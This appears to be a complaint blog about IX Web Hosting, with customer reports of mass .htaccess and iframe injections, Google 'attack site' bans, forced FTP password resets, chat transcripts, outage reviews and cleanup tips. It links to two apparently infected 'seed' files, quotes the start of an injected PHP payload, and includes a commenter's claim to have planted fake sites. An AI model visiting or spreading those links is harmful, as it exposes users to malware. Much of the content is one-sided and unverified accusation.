Numerous sites on IX servers NS3 and NS4 INFECTED

During the last 4 days Numerous People are reporting their sites are infected, and customers are being re-directed to a Russian site.
So far ALL the sites reported are hosted on NS3.IXWEBHOSTING.COM and NS4.IXWEBHOSTING.COM.
If your site is hosted on these servers, OR possibly other servers, you should check your website, by using a SEARCH ENGINE. DO NOT go directly to your site through your search bar OR shortcut, but use a Search Engine. The results are being re-directed. It will also be a matter of time before these sites will be “Blacklisted” by Google and other search Engines.

Feel Free to contact IX Web Hosting about this matter, but they will only blame you for their issues, and  lack of  knowing how to treat their customers with respect.

Please send us a message if your site has been comprimised.

IX Web Hosting, .htaccess Redirect, SQL Injection and Banned by Google

This week has been a complete disaster for 1000’s of IX Web Hosting’s  customers.

A new wave of the .htaccess injection is affecting 1000’s of sites, but things just get worse and worse, Google is flagging sites hosted by IX Web Hosting because of the sites being redirected to infected sites.
Some customers sites are even getting “Splashed” by Google with “‘Reported Attack Site’ ” can you imagine spending YEARS building up a reputation and then having your site and your reputation  Destroyed because of a hosting company that after 10 MONTHS!! still cannot and has not fixed this security issue…

10 MONTHS!!!  IX WEB HOSTING… You should be ASHAMED!!

Here is an example of someone who has spent YEARS working hard to build a (basic) website and a reputation, and all was lost…

This is the third time I’ve requested review and had it result in a continuation of the ban. I’m a simple artist trying to make a living while going to school. My reputation is being destroyed by this, as well as my art. I’m not a programmer but I know my html that I wrote for my site, and it’s ridiculously simple. All the 3 pages, even though it was said there where 5 pages, that were listed in webmaster tools were the same exact html files I wrote. These were:
 http://www.****art.com/ADAbout.html
http://www.****art.com/ADBreedKirin.html
http://www.****art.com/Itemhtml/directions.html     { Links killed by neverix}

I’ve downloaded and looked at the code of each of these, finding nothing wrong with them.
I also have called my Host, IXwebhosting, who crawled through my site and looked at my files. They said they couldn’t find anything either and that there seemed to be nothing wrong. They also said the ‘Reported Attack Site’ html page google slapped on top of my index wasn’t showing up for them. I had posted once on this forum before with the question: ‘WHERE is the malicious code showing up,’ and I was told how to submit a review. Google is ruining my reputation, my site, my client base, and wasting my precious time. I don’t know what to do anymore, because nothing I have done seems to have worked. I re-uploaded my site, changed permissions to 444, removed any kind of php and unnecessary files, changed my two user passwords to more secure ones, and everything else I’ve mentioned in the above text. I don’t know what else to do. I’ve spent years establishing that site and it’s reputation…years now wasted and ruined.  Please someone help me.

I hereby invite IX WEB HOSTING to send me their side of the story about this issue, I will post it on this blog for everyone to read…  It’s only fair to hear both sides of the story.

And NO, this is not just a “One Off”  see 1000’s more : http://www.google.com/search?hl=en&safe=off&q=%27Reported+Attack+Site%27+ix+web&start=0&sa=N

 

EASY Access to IX Web hostings Server ROOT

From a Unhappy  IX  customer

I was beginning to think I was crazy. My site would get hacked and I would change the password. This would keep happening over and over. Yet every time I would call in they would say it was my fault. Well today I discovered that once again my site had been hacked as well as all the other domains in my userid for them.  While going through one of my sub domains I found a hackers control panel which I downloaded and took a screen shot. I even looked around in it. I realized quite quickly that I had server root access and I could see other peoples files like I was on a regular computer. This control panel seems to have it all. Anyway here is a screen shot for all you who wonder what is going on:

I have marked my info out to spare me as well as the folder I was browsing. But this control panel seems to have any exploits you want on it with very little effort.  It even has a handy self kill button which I used. Of course I am sure they will be back and hack right back in. Meanwhile I have to look into another host.

CLICK ON IMAGE FOR LARGER PREVIEW

 

IX Web Hosting, Script Injection and banned by Google 2

So many people being banned by Google, and cannot find the source of the Injection..

 I have previously posted on this blog WHY you cannot find the code.. Because  the code is NOT on your page. The code is, and can be anywhere on the server ( I have posted 3 links to the code that was hidden as a .jpg)  The code added to your site is actually an Iframe, so what you should be looking for is a small snippet of code that calls the script. ( check your Config, Header, Footer, Index.php etc.. ALL pages that get called on every page

Yesterday someone contacted me with this issue, and that person was also banned by Google, and had spent weeks trying to solve this problem.. They  finally found the code in the CONFIG File . ( thanks to this blog)
The site is now clean, but it will only be a matter of days before it is injected AGAIN!!

Here is the post I posted in December last year:

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

( These have now been removed by ix web hosting but as you can see, the actual file is well hidden and disguised as an image. REMEMBER, this is where the files were stored that YOU can see on YOUR pages )

• http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg 
• http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, config, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

• mysql33.ixwebhosting.com
• mysql15.ixwebhosting.com
• mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

=================================================================

This issue has now been going on for more than 10 months…. 1 year this May.. Will IX Web Hosting be celebrating  this milestone?

IX Web Hosting changes ALL FTP Passwords without warning.

During the past 2 days I have been bombarded with unhappy IX Web Hosting customers that can no longer update / change their files because IX Web Hosting changed  ALL FTP Passwords without warning.

Here is one  Email I recieved today.

Dear  ******,

We would like to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we are making to enhance security is to change all FTP passwords. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account.

If you experience any problems logging in to your account via FTP, please take a look at the following information to regain FTP access.

You can visit http://www.ixwebhosting.com/index.php/pages.manual14 for an in-depth tutorial with screenshots on how to update your FTP password, or you can follow the simple steps below.

• Visit https://manage.ixwebhosting.com and login.
• Look for the section called “Hosting Products” and click on the Manage button for your hosting account.
• Look for an icon called “FTP Manager” and click on it. In this area, you will find an icon that resembles a pencil and paper. Click on it to change your FTP password. Please note: to ensure the security of your website, you should not use the same password as your previous password.

It is always recommended that you choose a strong password. We have provided you with a website which will help evaluate the strength of the password you choose:
http://www.microsoft.com/protect/yourself/password/checker.mspx

We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

We would like to sincerely thank you for your understanding and also, of course, for hosting with us. If you have any questions about this topic, please contact us via ticket, live chat or our 24/7 phone support. We are here for you 24/7 and would be happy to address any concerns you might have!

Thanks again,

Sammie Taunton
Director of Customer Relations
www.ixwebhosting.com 

————–

I thought it was a scam because all the links pointed to “rs6.net“, so I just ignored it for a while.

Later in the evening, I was going to forward the email to IXWebhosting, but on a lark decided to check out rs6.net, and found out it was a mass email company.  It then occurred to me that IX might have used them, so I started digging into my sites.

I did indeed find that they had hosed ALL of my FTP passwords.  This is not a big deal if you are just uploading static HTML pages with pictures of your puppies, but I have 16 sites on a PHP CMS I wrote myself.  Since every site has at least one unique FTP password, and they are scattered here and there (trying to be somewhat unspecific on purpose   ) it’s going to take a while to change all this.

I tried to call IX, but of course the wait was an hour, so to amuse myself I started a chat session with “customer support”.  Yes, those quotes are there for a reason.  I realize this may not place me in the best light, but I was REALLY ticked off.  Here’s the transcript of the chat…

—————————————————————————-

Chat InformationPlease wait for a site operator to respond.

Chat InformationYou are now chatting with ‘Kirill Skripka’

Kirill Skripka: Hello, my name is Kirill. How can I help you today?

you: I got a VERY strange email today about changing my FTP passwords – I think it’s a scam – have you seen it yet, or do you know anything about it?

Kirill Skripka: That is e-mail from us. Please change your password for the FTP from your Control panel->FTP manager->Password

Kirill Skripka: All password were changed, due to ProFtpd upgrade on the server side

Kirill Skripka: Please change your FTP password and try to connect to your site via FTP again

you: Are you guys out of your minds????? How about a little notice???? I have a lot of programming changes to make for several sites!!!!!!

you: Why isn’t there anything about this on the Control Panel?

Kirill Skripka: We have send notification e-mail to all costumers

you: No, you sent notification that you had DONE it, not that you were GOING to do it

Kirill Skripka: yes, that was notification. If we sent e-mail before changing password then could be misunderstanding about when exactly we will change it and other. Also we could not check if you have read our pre-notification and only then start to change passwords

Kirill Skripka: We are honestly apologize for inconveniences caused to you

you: Do you have any REAL programmers there???? I have like 16 sites I have to change RIGHT NOW. What is WRONG with you people????????

you: You have to be out of your freaking mind if you think this is good customer service!!!!!!!

you: I’m on hold on the phone line – I’ll be speaking to a supervisor. I figure I’ll be on hold for about 90 mins. at the rate it’s going.

you: And by the way – the email LOOKS like a scam. I’m not even sure I’m really talking to IXWebhosting here.

Kirill Skripka: We are sorry again, but that was necessary move to change FTP passwords

you: Actually, no, it wasn’t. You could have let us know this was GOING to happen. I’m gonna have a bunch of VERY pissed off customers. Not unlike the way I’m pissed off with IXWebhosting right now.

you: Is there anything on the site about this?

Kirill Skripka: there should not be anything on the site. It is not non-costumers business that we have something change to our costumers. They are not allow to see that info just view our site. We have sent e-mail.

you: That’s a bunch of crap and you know it. Or you should.

you: This is completely unacceptable. I’m going to be up half the night trying to fix this.

you: Explain to me again as best you can why this had no notice.

you: Did it not occur to anyone that there might be programming issues on sites to deal with????

you: As for non-customer business – I can understand that – BUT THE EMAIL LOOKS LIKE A SCAM

Kirill Skripka: We did notice you. E-mail is the best way to do it. Pre-information will not be fine.

you: Look, child, do you have any programming experience?

you: Have you ever dealt with anything like this?

you: Do you have a supervisor there with any experience?

you: Actually, in one regard you are correct – email is the best way to contact us – but an email pointing to a page visible to us AFTER we sign in, and with a notice that “in 48 hours (or whatever) we will be upgrading…blah, blah, blah…”

you: Honestly, this is BUSH league. I will be copying this chat exchange and putting it onto a blog for other people to see.

you: People need to know what kind of stuff IXWebhosting pulls

Kirill Skripka: I want to inform you of the new security updates we are making at IX Web Hosting. In our ongoing efforts to maintain security, we have dedicated our system administration team to investigating all possible vulnerabilities. One of the necessary updates we made to enhance security was to *change all FTP passwords*. This will ensure that all of the protective measures we have and will be taking remain impervious to outside influence – this includes any security compromises that exist on the Internet that may negatively affect your account. We are in the process of performing several upgrades to strengthen security. As new developments are made on the server-side and in regards to your FTP account, we will be sure to keep you informed!

you: Yes, thank you, I read it the first time. It doesn’t make any more sense now than it did when I first read it. The problem is THERE WAS NO NOTICE. I have to go SITE BY SITE and see if there is anything I have to change. My hope is the existing passwords are all still working.

you: Honestly – do you think I had nothing better to do tonight than change all my sites. WHAT WERE YOU THINKING!!!!!???? WERE YOU THINKING??????

you: Is there a supervisor available?

Kirill Skripka: Please note, that changing FTP password do not affect your site work  [NOTE:  I LOVED this line!  >.<]

Kirill Skripka: but you should change it to be able upload your files with FTP connection

you: You are REALLY stupid. Excuse me, but you are. THE FTP passwords are in the programs that my customers use to upload files.

you: They are embedded in the programs I wrote.

you: DO YOU HAVE A SUPERVISOR?????

Kirill Skripka: Yes, we have

you: THEN PLEASE PUT THE SUPERVISOR ON

Kirill Skripka: hold on please, let me transfer you to my supervisor

you: Thank you

Chat InformationPlease wait while I transfer the chat to ‘Yuliya Gordeeva’.

Chat InformationYou are now chatting with ‘Yuliya Gordeeva’

Yuliya Gordeeva: Hello, my name is Yuliya.

you: First, Yuliya – are you Kirill’s supervisor?

Yuliya Gordeeva: Let me read your conversation with Kirill

Yuliya Gordeeva: yes, I am

you: While you’re reading – I realize you probably can’t do anything about any of this – but I’m REALLY pissed off. This is completely unacceptable – both the way the change was handled and the idiot advice from Kirill

Yuliya Gordeeva: Please accept my apologies for some misunderstanding in the previous conversation

Yuliya Gordeeva: Let me draw your attention to that fact that our system administrators are investigating the problem related to the security of our servers in order to help customers protect their websites from any hack attempts. That is why changing all FTP password was an urgent action. Please accept my apologies that we have not informed you about such actions.

you: Yes, you sent me an email telling me you had already done it, not that you were going to do it. ALL MY SITES ARE BROKEN – EVERY LAST ONE. Well, I take that back, I’ve checked about four of them, but I’m certain they are all hosed

you: This is not in the presentation of the site to the public, but rather in the administration of the site by my clients.

Yuliya Gordeeva: As you already know we are in process of updating Apache on all

Yuliya Gordeeva: servers from 1.3.1 to 1.3.36, ProFTPd from 1.3.1 to 1.3.2

you: Again – if I’d had some notice, I could have made this a relatively transparent change.

you: Sorry, no, didn’t know that – no one notified me

you: It’s not that big a deal to me – I like upgrades, as a rule, but I needed some notice.

Yuliya Gordeeva: I’m sorry, but all your websites are not broken due to that fact that we have changed only your FTP password. Please understand that if such changes have not made all the websites can be hacked or affected by any malware

you: Since this one BROKE my passwords, it has a larger than normal effect

Yuliya Gordeeva: So all the actions were turned to increase the security of your websites

you: Excuse me, but as a matter of fact they ARE broken. I just tried several of them – not on the front end, but on the site administration for MY clients – through the PHP CMS I wrote

Yuliya Gordeeva: Please understand that you need to change only your FTP password and then use your new password to access your FTP

you: Again, I appreciate upgrading the security, but you made a false assumption that changing those passwords had a very small effect

Yuliya Gordeeva: Kindly please give it a tty

you: I’m number two on the telephone cue – I’ll see if someone there has more understanding of this. Have you ever tried programming FTP functions in PHP?

Yuliya Gordeeva: Please be sure that changing FTP password is not the only one change we made

you: It is relatively simple, but I have a lot of places to change it.

you: Thanks – I’m aware of that, and I really do appreciate the upgrade – I REALLY DO! But since they changed my passwords without any notice, I’m in a bit of a bind for time to fix it.

Yuliya Gordeeva: Please note that some widespread trojans have a functions to steal FTP passwords from user`s local PC`s and send these passwords to hackers (or special bots which were made by hackers). So please imagine that some of the password were stolen before we made such changes

Yuliya Gordeeva: and how many websites will be hacked if passwords are still the same

you: Yes, I know. It’s a very old problem. One I’m not sure we’ll ever beat as a computing community.

you: It’s not like I have a choice here, is it?

Yuliya Gordeeva: I’m really sorry that we made a couple problems for you by these changes but I hope that all that we are doing right now will save you and your websites from any hacking alerts

you: Gosh, thanks so much. Actually, it’s about 16-20 passwords, and 16-20+ scripts to change them in.

you: They were all random characters already.

Yuliya Gordeeva: I would like to assure you that we are trying to provide the best services including web service and fast technical support. We are working hard to prevent any issues from happening and doing our best in order to advance the level of services provided.

Yuliya Gordeeva: Yes, I really understand you

you: Yes, thanks. You’ve been so helpful.

Yuliya Gordeeva: You are always welcome!

you: I’ll talk to the phone support and let them know how REALLY UNHAPPY I am.

Yuliya Gordeeva: Again we deeply apologize for all inconveniences you have faced with our services and would like to say that we are more than thankful for your great patience and understanding. We will do our best to satisfy you as our customer and provide an upper-scale support and services to you.

Yuliya Gordeeva: I’m sorry, but there is really no way to restore previous passwords

Yuliya Gordeeva: So kindly please change it to the new ones

you: I’ll get right on that…

Yuliya Gordeeva: ok, that’s great. Thank you very much!

————–

(sigh)  I then talked to someone with a little better command of the English language on phone support, and he said something to the effect that he’d come on at 10:30 PM and when he heard what they had done he knew it was going to be a bad night.

Well, I’m looking for a new host.  Please feel free to post any of this you would like.

Tip from a reader “How to clean the Yahoo Counter Injection Script”

Hey buddy, 
nice website, i wish i had seen it before I renewed my contract with the crooks at IX for 2 more years…
well, i am writing because i couldn`t find on your website a solution to clean the infections automatically. so maybe you want to post a solution:

here is what I did:

1 – download the entire site
2 – Open an infected file with Adobe Dreamweaver
3 – Look for the infected code, select all of it and copy it to the clipboard (starts with “<?php if(!function_exists(‘tmp_lkojfghx’))…”). You must copy ALL the code!
4 – Still on dreamweaver, click on EDIT>FIND AND REPLACE
5 – on the FIND box you paste the infected code 
6 – On the FIND IN dropdown select FOLDER and point it to the folder where your website was downloaded.
7 – click on REPLACE ALL (dreamweaver will replace the code with whatever is on the REPLACE box, as we didn’t write anything there, it will clean the code)

I found out that all the infected files on my sites had exactly the same code, so it was quite fast to remove them.

 

Ivan

Thanks Ivan for your feedback, I hope this helps others, also sorry to hear your sites are still constantly being injected. It’s clear that IX Web Hosting still has not got a clue how to solve this issue, and on top of this they are having 3 other mayor issues to deal with.

IX Web Hosting has SERIOUS database Issues and lots more

In the past months, 1000’s of IX Web Hosting’s customers finally turned their back on the “Cheap, Unreliable and Insecure ” Web Host. This was due to the fact that more than 140,000 sites were hacked and injected on a WEEKLY bases, things got so bad that even the “Backups” were infected and deemed useless.
From   May 2008 onwards IX Web Hosting continueously blamed their customers, mayor search engines, WordPress, Joomla, and every script on the market, actually, it was everyone’s fault, except IX Web Hosting.

The past 4 weeks I have recieved and seen an alarming amount of customers furious about the “Downtime” of their sites.

Downtimes of  6+ hours is normal…

I am curious who IX WEB HOSTING is going to blame this time

Shira, 12th 2009f February, 2009

We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done. Pete, 11th 2009f February, 2009 AVOID like the plague!!! Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site. If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted. Try www.**********.com. They cost a bit more but you get what you pay for. F**K YOU IX, 10th 2009f February, 2009 I’m so sick of the feeble excuses ix web hosting come up with. I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!! It really is time to get a class case together and sue IX for compensation. Erik, 09th 2009f February, 2009 All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on. Milano, 09th 2009f February, 2009 Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus. IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB Herman, 08th 2009f February, 2009 Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response. So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it! This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them. Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.   elawcase@gmail.com, 07th 2009f February, 2009 Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com. I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server. John – HELP SERVER DOWN, 05th 2009f February, 2009 Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs. Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possible you: pls .. it has been down for 1 hour you: every day down Lesya Geychenko: I am so sorry, our admins are working on the issue Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution you: we have already you: what’s going on? you: over 1 hour you: hello, any updates so far? Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish you: please Lesya Geychenko: The issue should be fixed within 15 minutes you: ok Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins you: ok Lesya Geychenko: They maintain the server longer than I have expected Lesya Geychenko: The server will be up in 60 minutes you: ixwebhosting is really unreliable….. Heidi, 03rd 2009f February, 2009 Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.   Matt, 02nd 2009f February, 2009 The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.   George , 30th 2009f January, 2009 If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.

Daily Top 10 Searches to this blog

As of today I am going to post the  TOP 10 Search Engine Terms  people use to find this site.

As you will see, there are a lot of issues going on.

Search Engine Terms

These are terms people used to find this blog.

Todays  Search 

1. ix hacked  
2. ixwebhosting virus  
3. ixwebhosting hacked  
4. ixwebhosting  
5. ix webhosting hacked 2008  
6. http://ixwebhostwarning.wordpress.com/  
7. ix web hosting has been hacked  
8. http://ixwebhostwarning.wordpress.com  
9. ix webhosting htaccess  
10. ixwebhosting .htaccess hack  

Yesterdays  Search 

1. ixwebhosting hacked  
2. ixwebhosting malware  
3. ixwebhosting malicious  
4. fix ixwebhosting .htaccess  
5. modlogan hacked  
6. htaccess exploit passwords ixwebhosting  
7. ixwebhosting exploited  
8. how to remove yahoo counter injection fr  
9. access htaccess ixwebhosting  
10. ixwebhosting hack

IX Web Hosting Reviews Jan. 2009

George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.  
 
Paolo, 23rd 2009f January, 2009
After reading the reviews about the servers / database’s slowing down at a certain time, I checked my log files, and it’s true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!… What is the point of that??.
I am looking into moving my sites to HostGator. 
 
Gary, 22nd 2009f January, 2009
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
http://ixwebhostwarning.wordpress.com/
 
Marky, 22nd 2009f January, 2009
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!!
 
jack, 21st 2009f January, 2009
The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn’t. It’s very upsetting. We have had to complain and make complaints every day three times…. anyone know of a better hosting for Windows?  
 
Melanov, 21st 2009f January, 2009
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered.
 
Gerald W, 21st 2009f January, 2009
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don’t waste your time or money on these people.
 
Michael, 18th 2009f January, 2009
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use “Mailwasher” that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It’s time to drop ix web hosting
AVOID
 
Blake, 17th 2009f January, 2009
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host…

Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November…

Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours…

Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November’s unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it…

Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site…

The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don’t seem to be doing anything to permanently correct it…

IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn’t hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX’s lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can…

Dealing with IX technical support gets real old real fast. I wouldn’t wish this on anyone…
 
 
Hans, 17th 2009f January, 2009
Do not believe their “Money Back Guarantee” After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots  
 ett, 11th 2009f January, 2009
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I’ve used, IX is the worst, one.com (in Denmark!!) has given me the best value for money.
 
Mike, 10th 2009f January, 2009
Bloody USELESS!
 
Muluut, 10th 2009f January, 2009
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting.
 
Laurie, 10th 2009f January, 2009
With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems – and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! “server taking too long to respond” My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don’t care. I’m changing. Will pay more for more. 
 
Jonathan, 09th 2009f January, 2009
I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host. 
 
Archer Rejn, 09th 2009f January, 2009
I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast. 
 
Magix, 09th 2009f January, 2009
Don’t waste your time or money on these people. 100% USELESS! 
 
kjett, 09th 2009f January, 2009
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven’t been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
These security routines will prove to be useful when you move to a hopefully more competent and secure web host.
 
beyaz, 06th 2009f January, 2009
have the same problem!!!! they are just after money instead of clearing their s**t!
 
George W Bush, 05th 2009f January, 2009
Don’t waste your time with these people, they are just a bunch of incompetent retards.
 
Sammy J, 05th 2009f January, 2009
4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I’m moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money. 
 
Anita, 03rd 2009f January, 2009
Add me to the list of customers that have been affected by ix’s .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !! 
 
Roger no Kids, 02nd 2009f January, 2009
@ Roger Kids..
You TWAT!!..
People don’t like IX because they HAVE tried them!!.. If you haven’t tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF’S they promise, take your money and accuse you for their incompetance.
 
Roger Kids, 01st 2009f January, 2009
Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get

IX Web Hosting’s PHP Upgrade Notification

Dear Nicole **********,

We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.

As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.

